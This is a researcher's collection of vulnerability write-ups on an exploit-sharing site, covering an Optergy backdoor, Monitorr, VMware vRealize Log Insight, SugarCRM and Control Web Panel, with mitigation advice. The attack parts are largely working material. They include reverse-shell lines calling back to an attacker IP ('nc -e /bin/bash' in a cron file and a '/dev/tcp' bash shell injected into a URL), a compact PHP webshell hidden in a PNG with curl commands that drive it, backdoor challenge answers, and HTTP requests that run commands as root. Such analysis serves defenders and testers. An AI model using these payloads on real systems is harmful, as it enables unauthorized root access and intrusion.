h00die-gr3y (44)
Last Login: March 21, 2023
h00die-gr3y's Latest (16) Contributions
Technical Analysis
Backdoors
Since the dawn of our computing era, we have seen backdoors
added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors
.
The more or less official definition of a backdoor
can be found at wikipedia and defines it as:
A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.
Backdoors
can vary from a simple hard coded user / password combination to sophisticated rootkits
, object code backdoors
, asymmetric backdoors
and compiler backdoors
which are quite well explained in the article.
Reasons to install backdoors
are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors
in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn
thing and starts using it for different reasons.
The example below shows a pretty sophisticated undocumented backdoor
in the Optergy
building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic
a.k.a. LiquidWorm
.
During the review a backdoor script called Console.jsp
located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/
was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec
resulted in errors. Clicking the Get
button ConsoleResult.html?get
returns a JSON
response message:
{"response":{"message":"1679481930381"}}
The question now is to satisfy this challenge response to successfully execute commands.
And after de-compiling the ConsoleResult.class
java bytecode it revealed how this developer backdoor console actually works.
Lines 065
, 066
, and 067
of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get
AJAX request. This challenge is used to generate a SHA-1
hash and then generate an MD5
hash from the SHA-1
hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.
With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1
Challenge: 1679481930381 SHA1: 6c2ba45326f687498923413420c890ebf5b7602c MD5 of SHA1: 421dc80c2bea0c3710679605a6159162 Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162
Decompiled ConsoleResult.class
ConsoleResult.class: 032: public class ConsoleResult 033: implements ActionBean, ValidationErrorHandler 034: { 035: private ActionBeanContext context; 036: @Validate(required=true, on={"execute"}, minlength=1) 037: private String command; 038: @Validate(required=true, on={"execute"}, minlength=1) 039: private String challenge; 040: @Validate(required=true, on={"execute"}, minlength=1) 041: private String answer; 042: private final Object lock; 043: 044: public ConsoleResult() 045: { 046: lock = new ConsoleResult.Lock(null); 047: } 048: 049: 050: 051: 052: 053: 054: @DefaultHandler 055: public Resolution execute() 056: { 057: long l1 = 1500L; 058: ServletContext localServletContext = getContext().getServletContext(); 059: List localList = (List)localServletContext.getAttribute("challengeList"); 060: 061: long l2 = Long.parseLong(challenge); 062: if ((localList != null) && (localList.contains(Long.valueOf(l2)))) 063: { 064: localList.remove(Long.valueOf(l2)); 065: String str1 = Util.makeSHA1Hash(Long.toString(l2)); 066: String str2 = Util.makeMD5Hash(str1); 067: String str3 = str1 + str2; 068: 069: if (!str3.equals(answer)) 070: { 071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer")); 072: } 073: 074: String str4 = ""; 075: ProcessStreamReader localProcessStreamReader = null; 076: try 077: { 078: String[] arrayOfString = command.split("\\ "); 079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString); 080: localProcessBuilder.redirectErrorStream(true); 081: Process localProcess = localProcessBuilder.start(); 082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess); 083: 084: localProcessWrapper.start(); 085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream()); 086: localProcessStreamReader.start(); 087: try 088: { 089: localProcessWrapper.join(l1); 090: localProcessStreamReader.join(l1); 091: } 092: catch (InterruptedException localInterruptedException) 093: { 094: localInterruptedException.printStackTrace(); 095: localProcessWrapper.interrupt(); 096: } 097: } 098: catch (Exception localException) 099: { 100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command")); 101: } 102: 103: 104: str4 = localProcessStreamReader.getString(); 105: 106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4); 107: return new JSONResolution(localJSONObject); 108: } 109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge")); 110: } 111: 112: public Resolution get() 113: { 114: ServletContext localServletContext = getContext().getServletContext(); 115: Object localObject = (List)localServletContext.getAttribute("challengeList"); 116: if (localObject == null) { 117: localObject = new ArrayList(); 118: } 119: long l = System.currentTimeMillis(); 120: ((List)localObject).add(Long.valueOf(l)); 121: 122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject); 123: 124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l)); 125: return new JSONResolution(localJSONObject); 126: }
The Burp output below shows exactly what happens under the cover.
Click Get button to get the challenge value
POST /tools/ajax/ConsoleResult.html?get HTTP/1.1 Host: 192.168.201.31 Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close
Response is a JSON
message with the challenge value
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 40 Date: Wed, 22 Mar 2023 10:45:30 GMT Connection: close { "response": { "message":"1679481930381" } }
Now use the SHA1/MD5
recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.
Execute the whoami
command
POST /tools/ajax/ConsoleResult.html HTTP/1.1 Host: 192.168.201.31 Content-Length: 119 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close &command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162
Response is a JSON
message with the command output of whoami
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 38 Date: Wed, 22 Mar 2023 10:49:56 GMT Connection: close { "response":{ "message":"optergy\r\n" } }
The above example shows once more that even sophisticated backdoors
can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors
in your application code.
Mitigation
All Optergy Proton / Enterprise versions 2.3.0a
and below are vulnerable.
Unfortunate like most IoT
type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT
devices still remains a challenge for a lot of companies out there :–(
Please upgrade to the subsequent versions to mitigate this vulnerability.
I could not resist the temptation to create a Metasploit
module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit
is in progress.
References
CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit Development h00die-gr3y
Credits
Credits goes to Gjoko Krstic
a.k.a. LiquidWorm
who discovered this vulnerability.
Technical Analysis
Monitorr
is a simple web application that allows you to setup a dashboard to monitor various web site / web application up or down state. It has been around for a while and is supported on both Linux and Windows, but development seems to be stalled.
Unfortunately this nice neat web application suffers from a remote code execution vulnerability that allows an attacker to upload a webshell tagged as a GIF
image and execute malicious php code.
A typical vulnerability that has been in OSWASP top 10 A04_2021-Insecure_Design for a long time => CWE-343 Unrestricted Upload of File with Dangerous Type, but developers still seems to get this wrong.
All versions including v1.7.6m
are vulnerable and no patch is available.
Evidence of compromise
When you want to check if your system is compromised, please look for unexpected files with extension like php
, phar
, php7
in the assets/data/usrimg
(Linux) or assets\data\usrimg
(Windows) directory. Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Mitigation
All versions of Monitorr
are vulnerable, and the only mitigation is to restrict the execution of php code at the directory where the malicious file uploads are stored (Linux: <web_root>/assets/data/usrimg
or Windows: <web_root\assets\data\usrimg
).
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to mainstream development is in progress.
References
CVE-2020-28871
Lyins Lab Discovery
Public Exploit – Packetstorm
OSWASP top 10 – A04_2021-Insecure_Design
CWE-343 Unrestricted Upload of File with Dangerous Type
Metasploit Development h00die-gr3y
Credits
Credits goes to Lyins Lab
below who discovered this vulnerability.
Technical Analysis
On 31 January 2023, security researcher James Horman
and team from Horizon3.ai
published a Technical Deep Dive on vulnerabilities that exist in VMware vRealize Log Insight
and how to exploit those to get unauthenticated remote access to the application. Please read the blog VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive for all the technical details.
What makes this use case particular interested is the chaining of multiple vulnerabilities to achieve the unauthenticated RCE.
Basically there are four vulnerabilities that are published in the VMware VMSA-2023-0001 security disclosure:
CVE-2022-31706
: VMware vRealize Log Insight Directory Traversal Vulnerability
CVE-2022-31704
: VMware vRealize Log Insight broken Access Control Vulnerability
CVE-2022-31710
: VMware vRealize Log Insight Deserialization Vulnerability
CVE-2022-31711
: VMware vRealize Log Insight Information Disclosure Vulnerability
The analysis shows that three vulnerabilities CVE-2022-31706
, CVE-2022-31704
and CVE-2022-31711
are chained to achieve the RCE.
In a nutshell:
CVE-2022-31704
is used to gain unauthorized access to theApache Thrift
server to execute commands.Apache Thrift
is a RPC framework that allows client/server communication and is typically used to establish communication between components of the system.
- The
Apache Thrift
server in the VMware vRealize Log Insight application is vulnerable and can be accessed with a client to execute specific commands defined in the framework.
- In this scenario, two RPC commands are being exploited,
remotePakDownloadCommand
andpakUpgradeCommand
that allows for an unauthenticated upload of a malicious PAK file with an attached payload that can be extracted to any place on the filesystem usingCVE-2022-31706
that allows for Directory Traversal.
- Last but not least, the
remotePakDownloadCommand
requires a node token to work. A node token is aguid
that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are variousThrift
RPC commands that leak the node token includinggetConfig
andgetHealthStatus
, which links back to the thirdCVE-2022-31711
– VMware vRealize Log Insight Information Disclosure Vulnerability.
Now let’s see in real-life practice, how this vulnerability works…
First we need install a vulnerable instance of VMware vRealize Log Insight, which you can download from this link.
You need to be registered as a customer or you can apply for a trial license before you can download the OVA.
Import the OVA in your favorite hypervisor application. I am using Oracle VirtualBox.
Please allocate enough memory and CPU (minimal 4 GB and 2 vCPU) otherwise your appliance will be dead slow and the exploit will fail due to lack of space in the /tmp
directory.
Go thru the setup of the appliance. This is all very straight forward.
If you have the appliance running, go to the POC at Github that has been created by the Horizon3.ai
team.
Clone the repository.
Before you start executing the exploit, please install Thrift
python support.
# pip3 install thrift
and install the thrift-compiler
.
Not needed for the exploit to work but it gives you the ability to generate thrift modules for other languages such as ruby
.
# apt install thrift-compiler
The last thing that you need to do is to correct a small typo that the guys from Horizon3.ai
made in their code.
Yeah, everybody makes mistakes, even these guys ;–)
Open VMSA-2023-0001.py
with your favorite editor and go to the section below.
def remote_pak_download(client, node_token, http_server_address, http_server_port): command = Command() command.commandType = 9 download_command = RemotePakDownloadCommand() download_command.sourceNodeToken = node_token # The remote system does not return an error if this url is incorrect. # It just silently fails download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar" download_command.fileName = "exploit.pak" command.remotePakDownloadCommand = download_command
Change download_command.fileName = "exploit"
to download_command.fileName = "exploit.pak"
and save the file.
Now we are ready to run the exploit against our installed target.
- The exploit will gain access by obtaining the token.
- Next, it will create a malicious PAK file with the payload attached that is a crontab file with a
netcat
command connecting back to your system.
- PAK file gets upload and extracted using the vulnerable
Apache Thrift
server running on the Log Insight server.
- Run a
netcat
listener on your system to catch thenetcat
connection from the target system triggered by thecron
daemon after successful exploitation.
# python3 ./VMSA-2023-0001.py --target_address 192.168.100.92 --http_server_address 192.168.100.7 --http_server_port 1981 --payload_file payload --payload_path /etc/cron.d/exploit [+] Using CVE-2022-31711 to leak node token [+] Found node token: 8984be67-2394-4da1-bf87-2635d558329d [+] Using CVE-2022-31704 to trigger malicious file download 192.168.100.92 - - [03/Feb/2023 17:19:02] "GET /exploit.tar HTTP/1.1" 200 - [+] File successfully downloaded [+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell [+] Payload successfully delivered # nc -lnvp 8888 listening on [any] 8888 ... connect to [192.168.100.7] from (UNKNOWN) [192.168.100.92] 42746 uname -a Linux localhost 4.19.245-1.ph3 #1-photon SMP Thu Jun 2 02:30:39 UTC 2022 x86_64 GNU/Linux whoami root cat /etc/issue VMware vRealize Log Insight cat /etc/photon-release VMware Photon OS 3.0 PHOTON_BUILD_NUMBER=05f9d3d8d
If you login into the appliance, you can find the exploit.pak
in the /tmp
directory and the a cron file exploit
created in the /etc/cron.d
directory.
If you check the contents of the PAK file, you will see the ../../etc/crond.d/exploit
file with the directory traversal.
root@localhost [ ~ ]# ls -l /tmp/*.pak -rw-r--r-- 1 root root 122880 Feb 3 17:18 /tmp/exploit.pak root@localhost [ ~ ]# ls -l /etc/cron.d/exploit -rw-r--r-- 1 root root 51 Feb 3 12:24 /etc/cron.d/exploit root@localhost [ ~ ]# cat /etc/cron.d/exploit * * * * * root nc -e /bin/bash 192.168.100.7 8888 root@localhost [ ~ ]# tar -tvf/tmp/exploit.pak -rw-r--r-- root/root 35768 2023-02-03 09:10 upgrade-image-8.10.2-21145187.rpm -rw-r--r-- root/root 35768 2023-02-03 09:10 upgrade-driver -rw-r--r-- root/root 35768 2023-02-03 09:10 eula.txt -rw-r--r-- root/root 1926 2023-02-03 09:10 VMware-vRealize-Log-Insight.cert -rw-r--r-- root/root 1790 2023-02-03 09:10 VMware-vRealize-Log-Insight.mf tar: Removing leading `../../' from member names -rw-r--r-- root/root 51 2023-02-03 12:24 ../../etc/cron.d/exploit
The example above show that the exploit is pretty simple to weaponize and execute, however there is a low probability of exploitation in the wild.
The main reason is that VMware vRealize Log Insight
is typically not exposed to the public Internet and the Thrift
RPC ports 16520
through 16580
should be accessible for the exploit to work.
But from the inside, it is of course a very attractive target to exploit because it has tons of nice information on the network and servers ready to be disclosed to an attacker.
Mitigation
Please update VMware vRealize Log Insight
to 8.10.2
.
References
Horizon3.ai: VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive
VMware advisory
Horizon3.ai: POC
Credits
Credits goes to the security researchers below that analyzed the vulnerabilities and discovered the RCE chain.
Technical Analysis
Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day
. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan
shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.
For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.
The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/
directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP
or HTTPS
gaining access to the system.
The vulnerability is caused by two issues in the code base of sugarCRM.
First issue is a missing authentication check in the loadUser()
method in include/MVC/SugarApplication.php
.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.
Authentication request and response from a vulnerable instance
POST /index.php HTTP/1.1 Host: TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: close module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a
Response is a HTTP 500 message and the response says You must specify a valid username and password.
Could be different depending on the language settings.
HTTP/1.0 500 Server Error Date: Wed, 18 Jan 2023 05:54:58 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly Status: 500 Server Error Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Content-Length: 47 Connection: close Content-Type: text/html; charset=UTF-8 You must specify a valid username and password.
After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.
//If there was a login error, we should not allow the further code execution and destroy the session if (isset($_SESSION['login_error'])) { if ($sess->getId()) { $sess->destroy(); }; header('Location: ' . $this->getUnauthenticatedHomeUrl(true)); exit(); }
Burp response after the patch, where the response says You need to be logged in to perform this action.
HTTP/1.0 500 Server Error Date: Tue, 17 Jan 2023 07:23:56 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Status: 500 Server Error Content-Length: 49 Connection: close Content-Type: text/html; charset=UTF-8 You need to be logged in to perform this action.
The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles
There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.
The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.
Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>
, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec()
, passthru()
, shell_exec()
and system()
.
See curl
examples below.
# echo 'ls -l' | base64 bHMgLWwK # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o - # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o - # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -
The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.
Malicious PNG File upload
POST /index.php HTTP/1.1 Host: TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Length: 601 Connection: close ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="action" AttachFiles ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="module" EmailTemplates ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="file"; filename="yohoo.phar" Content-Type: image/png PNG --Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text-- ------WebKitFormBoundaryWeTJtA8WByYIQMGR--
Successful response of the upload will show the file entry at end of the response.
HTTP/1.1 200 OK Date: Wed, 18 Jan 2023 05:55:00 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly Vary: Accept-Encoding Content-Length: 4460 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang='en_us'> <head> ---- A LOT of HTML CRAP ---- <div id="main"> <div id="content"> <table style="width:100%" id="contentTable"><tr><td> ["cache\/images\/yohoo.phar"]
Command execution of ls -l
POST /cache/images/yohoo.phar?0=passthru HTTP/1.1 Host:TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close 1=bHMgLWwK
Remote command execution response
HTTP/1.1 200 OK Date: Mon, 16 Jan 2023 16:23:10 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Encoding Content-Length: 1209 Connection: close Content-Type: text/html; charset=UTF-8 PNG --Garbled binary text--total 76 -rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar --Garbled binary text--
You can of course vary the 0 parameter with other PHP shell command functions such as exec
, shell_exec
or system
.
Evidence of compromise
When you want to check if your system is compromised, please look for unexpected files in the /cache/images/
directory. The published exploit had a filename sweet.phar
that was not cleaned. However, attackers have changed these filenames such as imagefile.phar
, meow.phar
, rvsm.phar
, aws.phar
, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Other evidence might be failed execution request for files under the /cache/images/
directory with the extension php
, phar
, phtml
, php7
, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404
– the file was not found or 403
– the access was denied by web server.
Mitigation
Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting
file in /cache/images/
directory and/or prevent PHP code execution by updating security settings in the php.ini
file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML
authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.
References
Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y
Credits
Credits goes to sw33t.0day
below who discovered this vulnerability.
Technical Analysis
This vulnerability is all about “Why Quotes Matter”
In December 2022, security researcher Numan Türle
from Gais Cyber Security
discovered an unauthenticated remote code execution vulnerability in the Control Web Panel 7 (CWP) application. They state on their website that CWP is a World Leading advanced Free and PRO web hosting panel that gives you all the flexibility to effectively and efficiently manage your server and clients.
The vulnerability is exposed thru the admin endpoint /login/index.php?login
which typically runs on port 2030
or 2086
for http
and port 2031
and port 2087
for https
. Successful exploitation results in command execution as the root
user. CWP versions 0.9.8.1146
and below are vulnerable.
The issue is triggered by the improper use of quotes when a failed login entry is logged in the /var/log/cwp_client_login.log
.
The example below shows why the proper usage of quotes is important when applied in a unix shell.
[root@localhost ~]# echo "$(whoami)" root [root@localhost ~]# echo '$(whoami)' $(whoami) [root@localhost ~]# echo "'$(whoami)'" 'root' [root@localhost ~]# echo ''$(whoami)'' root
In the first example, the inline bash command $(whoami)
gets executed within the echo
command using double quotes.
However, if you use single quotes, it is treated as text which is the standard unix shell behavior. But if you try to be smart and put double quotes around the single quotes, it again executes $(whoami)
because the single quotes are seen as text if surrounded by double quotes.
This is no secret to experienced unix admins, but typically software developers can be easily tricked when they use underlying unix shell commands and quotes in their programs.
And this is exactly the problem that triggers this vulnerability.
Let’s have a quick look, what is going under the hood….
Take the burp request below, where we will trigger a failed login entry using the existing default user root
with a wrong password.
POST /login/index.php?login= HTTP/1.1 Host: 192.168.100.89:2031 Content-Length: 46 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en Connection: close username=root&password=idonotcare&commit=Login
If we monitor the /var/log/cwp_client_login.log
then we can see an failed login entry.
[root@localhost ~]# tail -f /var/log/cwp_client_login.log 2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='
If we do the same burp request, but now with our $(whoami)
added.
And surprise, surprise, the whoami
command gets executed (see second log entry).
[root@localhost ~]# tail -f /var/log/cwp_client_login.log 2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=' 2023-01-14 17:40:25 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=root'
Now lets take a reverse bash shell.
POST /login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1) HTTP/1.1 Host: 192.168.100.89:2031 Content-Length: 46 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en Connection: close username=root&password=idonotcare&commit=Login
And voila, a reverse shell as root
user on the target.
# nc -lnvp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.100.89. Ncat: Connection from 192.168.100.89:51988. bash: no job control in this shell [root@localhost login]# whoami whoami root You have new mail in /var/mail/root [root@localhost login]#
Another interesting piece is that you actually can see the command running in the process list that is writing the log entry to the log file.
You can clearly see the improper use of the double quotes in this command line.
root 12238 12231 0 03:41 ? 00:00:00 sleep 17897 root 12493 910 0 03:43 ? 00:00:37 php-fpm: pool cwpsrv postfix 27739 1538 0 07:41 ? 00:00:00 pickup -l -t fifo -u -o content_filter= -o receive_override_options=no_header_body_checks root 29668 2 0 08:02 ? 00:00:00 [kworker/0:3] root 30160 2 0 08:10 ? 00:00:00 [kworker/0:1] root 30718 2 0 08:15 ? 00:00:00 [kworker/0:0] root 30869 7118 0 08:17 ? 00:00:00 sh -c echo "2023-01-14 13:17:46 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1)'" >> /var/log/cwp_client_login.log
If you want to test it yourself, please follow this guidance to build a vulnerable configuration. Please do not expose this to the Internet unless you want to be compromised ;–)
Before you execute step 7. sh cwp-el7-latest
, please edit the file and make the following adjustments to download the vulnerable version and prevent the auto update.
nano /usr/local/src/cwp-el7-latest >>>>> # wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1148.zip # unzip -o -q cwp-el7-0.9.8.1148.zip # rm -f cwp-el7-0.9.8.1148.zip wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip unzip -o -q cwp-el7-0.9.8.1146.zip >>>>> # update cwp chmod +x /scripts/cwp_api # sh /scripts/update_cwp sh /scripts/cwp_set_memory_limit >>>>>
After running the installation script which takes about 30 minutes, please rename /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp
to update_cwp.something
otherwise CWP will get updated to the latest version when you start the application.
Mitigation
The CWP application has an auto update feature that can not be disabled in the application. Therefore the likelihood to find any vulnerable CWP application in the wild is almost zero.
I have created a Metasploit module. A local version of this module can found at the References section.
References
Github
Packetstorm
Metasploit Development h00die-gr3y
Credits
Credits goes to the security researcher below who discovered and analyzed this vulnerability.
Technical Analysis
During the boring Christmas Days, — those days where you have to sit together, be nice to each other and eat and drink too much —, I stumbled upon this RCE where surprisingly not much was published on the analysis of this vulnerability.
It was discovered in December 2021 by the security researcher Jakub Kramarz
and is affecting the Ivanti Cloud Services Appliance for Avanti Endpoint Manager
versions before 4.6.0-512
.
It allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
if you read the security advisory, Ivanti Security Advisory 2021-12-02, it mentions that the vulnerable code is located in the /opt/landesk/broker/webroot/lib/csrf-magic.php
and the target endpoint is /client/index.php
.
